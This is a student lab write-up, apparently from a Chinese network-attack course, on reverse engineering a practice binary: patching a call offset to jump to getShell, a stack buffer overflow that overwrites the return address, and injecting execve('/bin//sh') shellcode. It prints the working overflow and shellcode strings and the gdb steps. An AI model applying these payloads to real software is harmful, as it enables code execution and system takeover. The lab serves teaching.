2018-3-7 20155317 王新玮 Exp1 PC平台逆向破解(5)M
2018-3-7 20155317 王新玮 Exp1 PC平台逆向破解(5)M
任务要求:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
NOP、JNE、JE、JMP、CMP汇编指令的机器码:
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
在开始之前,我们首先要学会两样东西
1.反汇编
objdump -d pwn1(文件名)|more
这条命令的用途是将可执行程序进行反汇编,变成机器指令

2.其次呢我们要学会使用vi编辑器, 我们用vi查看pwn1,输入:
vi pwn1

vi pwn1(文件名) linux下的vi编辑器功能十分强大,不仅可以编辑任何一个文件,而且可以以不同进制进行查看,如下图,进入编辑界面后,敲入
:%!xxd
,则以16进制进行查看。

本次实验要做的是通过修改指令,修改指令间的跳转:在完成本次任务之前,我们先来看一下本次实验的原理:
如下图所示:我们可以看到,在机器语言中,调用指令最根本的是找到了指令所在的偏移地址,例如下图中main的地址为080484af,而call指令后面的8048491对应的是foo函数的地址。所以说,如果想要改变指令的调用,那么我们只需要修改偏移地址的值就可以了。
而且从下图中我们可以看到,前后两者是一一对应的,也就是说,如果改变前着的值,那么对应后面的指令跳转我们也能相应的改变。

完成这些之后呢,我们就能知道e8对应的就是call指令,而e8之后的数字代表着调用函数的偏移地址,我们只需要将foo函数的地址变成getshell函数的地址就可以了

从上图中我们可以看到,foo函数的地址为08048291,getshellh函数的地址为0804847d,用16进制的减法我们可以精确的算出getshell比foo低了14,也就在原来的基础上减去14即可。而在linux环境下,采用小端存储的方式,也就是说d7为低位,就是说将到d7减去14即可,也就是变成c3。完成这些以后,我们采用vi编辑器进行修改。

我们在下面输入:/e8表示查询e8.然后,点击i键进行修改。将d7写为c3,然后按下esc,输入:wq保存退出。
/e8 d7 \\查找
%!xxd - r \\恢复二进制格式 :wq \\保存退出
再次进行objdump -d 进行查看

这样我们就完成了本次任务的实验操作。
实验过程中可能出现的问题:
如果是64位的卡里虚拟机,无法运行可以参考老师写的博客:http://www.cnblogs.com/zl20154312/p/8511455.html,其中如果出现源链接连接不上的情况,可以填入以下链接 :deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
BOF攻击,改变程序执行流程
首先我们要明白什么事BOF攻击,就是在程序的堆栈当中,写入过量的数据,导致缓冲区溢出,最后影响到其他地方(ret)的值,从而产生攻击效果。
首先,我们需要测试出该程序的缓冲区到底有多长。我们采用gdb进行调试:
gdb 20155317 //调试
r //运行
11111111222222223333333344444444555555555 //输入数据

完成之后我们需要查看一下此时寄存器里的值,来检查出哪些值溢出了。

从图中我们可以看到eip中的值变成了0x35这表示5被溢出了,我们再次输入111111112222222233333333444444441234,进行尝试

我们发酵确实是1234这四位溢出了,因此我们只要控制好这四位的值是shell函数的首地址,那么当再次溢出的时候,跳转到的就是shell函数了。从开始的图中我们可以得知shell函数的地址为0804847d。,但是我们无法直接输入这几个值,时候需要我们利用到
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
我们这是利用语言将我们想要输入的数据保存到input这个文档里。

我们利用16进制查看一下input的内容:xxd input

我们利用管道将文件里的数据传入到程序当中:
(cat input ; cat)|./20155317

我们发现,在输入ls命令后显示出了当前文件夹下的内容,所以缓冲区溢出攻击成功,该程序已经跳转到shell函数中。
shellcode注入
shellcode的注入其实是在上一个的基础上衍生出来的,基本的思想是在运行程序时,对程序进行调试,从而进行注入。
首先,我们需要将shellcode的代码写入文件中,并运行该程序
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

完成之后,我们再打开一个终端,对其进程号进行查询
ps -ef | grep

我们可以得出该进程的进程号为:2586。完成以后我们启用gdb进行调试,完成后查看内存地址
gdb //启动调试
attach 2586 //连接到进程
diassemble foo //查看注入buf的内存地址

在ret上设置断点

查看测试寄存及的值

从里面我们找到了1234,至此我们可以找到shellcode的首地址了,所以我们将1234的部分改成:\x00\xd3\xff\xff\x00,所以shellcode就变成
perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
我们更改shellcode并且注入一下:

程序
2018-3-7 20155317 王新玮 Exp1 PC平台逆向破解(5)M的更多相关文章
- 20155204 王昊《网络对抗技术》EXP1 PC平台逆向破解
20155204 王昊<网络对抗技术>EXP1 PC平台逆向破解 (一)实验内容 一.掌握NOP.JNE.JE.JMP.CMP汇编指令的机器码 NOP:NOP指令即"空指令&qu ...
- 20155339平措卓玛 Exp1 PC平台逆向破解(5)M
20155339平措卓玛 Exp1 PC平台逆向破解(5)M 实践内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- Exp1 PC平台逆向破解 20165110 石钰
Exp1 PC平台逆向破解 20165110 石钰 一.实践目标 1.实验背景 实践对象是pwn1的Linux可执行文件,该程序的正常该程序正常执行流程是:main调用foo函数(oo函数会简单回显任 ...
- 2018-2019 2 20165203 《网络对抗技术》 Exp1 PC平台逆向破解
2018-2019 2 20165203 <网络对抗技术> Exp1 PC平台逆向破解 实验要求 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 2.掌握反汇编与十六 ...
- 2017-2018-2 《网络对抗技术》 20155319 第二周 Exp1 PC平台逆向破解(5)M
2017-2018-2 <网络对抗技术> 20155319 第二周 Exp1 PC平台逆向破解(5)M 一.实践目标 1.1实践介绍 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165207 Exp1 PC平台逆向破解
20165207 Exp1 PC平台逆向破解 0.写在最前面 在做三个实验的前两个的时候,我还没有到博客里去看作业的要求.当时我的主机名是kali5207也就是用我的学号命名的,要求的是姓名全拼命名k ...
- 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础
20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...
- 2018-2019-2 网络对抗技术 20165322 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165322 Exp1 PC平台逆向破解 目录 知识点总结 实验准备 任务一:直接修改程序机器指令,改变程序执行流程 任务二 通过构造输入参数,造成BOF攻击 ...
随机推荐
- 如何在 Windows 10 中搭建 Node.js 环境?
[编者按]本文作者为 Szabolcs Kurdi,主要通过生动的实例介绍如何在 Windows 10 中搭建 Node.js 环境.文章系国内 ITOM 管理平台 OneAPM 编译呈现. 在本文中 ...
- centos6.5安装mysql
1.yum -install mysql mysql-server -y 2.修改mysql的root的密码 登录:mysql -uroot 修改密码: use ...
- commons-pool 解析
首先抛出个常见的长连接问题: 1 都知道连接MySQL的应用中大多会使用框架例如 c3p0 ,dbcp proxool 等来管理数据库连接池. 数据库连接池毫无疑问都是采用长连接方式. 那么MySQ ...
- python自学——文件处理(截取文件内容)
#截断文件内容使用的函数为truncate()来截断文件中的内容# 注意当truncate()括号内没有定义对象时则会删除文件内容:当括号内为指定某个条件时文件会截取从0到指定位置的内容f=open( ...
- linux 设备驱动加载的先后顺序
Linux驱动先注册总线,总线上可以先挂device,也可以先挂driver,那么究竟怎么控制先后的顺序呢. 1.初始化宏 Linux系统使用两种方式去加载系统中的模块:动态和静态. 静态加载:将所有 ...
- UNIX高级环境编程(12)进程关联(Process Relationships)- 终端登录过程 ,进程组,Session
在前面的章节我们了解到,进程之间是有关联的: 每个进程都有一个父进程: 子进程退出时,父进程可以感知并且获取子进程的退出状态. 本章我们将了解: 进程组的更多细节: sessions的内容: logi ...
- Windows server 安装和配置zabbix agent
1.下载Windows 平台的zabbix agent 先到官网下载zabbix_agentd监控客户端软件安装包(windows操作系统客户端),客户端版本尽量与服务器版本一致,下载地址:http: ...
- MySQL递归查询父节点或递归查询子节点-陈远波
根据id查询父节点,具体需要修改的地方笔者已在注释中给大家作了注解 DELIMITER $$ USE `yjlc_platform`$$ -- getCompanyParent 为函数名 DROP F ...
- 阿里八八Alpha阶段Scrum(12/12)
今日进度 俞鋆: 和前端对接,完成了注册接口的对接写了一部分数据同步接口. 李嘉群: 完成了注册界面与服务器的对接 黄梅玲: json数据解析并在listview中显示(还未完成) 王国超: 今天开始 ...
- 使用PhotoShop将视频转为gif格式
由于文档中不方便上传视频,尤其是一些短视频,将其制作成gif格式更便于浏览,刚好PhotoShop中有这种功能,笔者在这里分享一下. 在PS中打开需要转换格式的视频文件,选择文件选项导出中的导出为We ...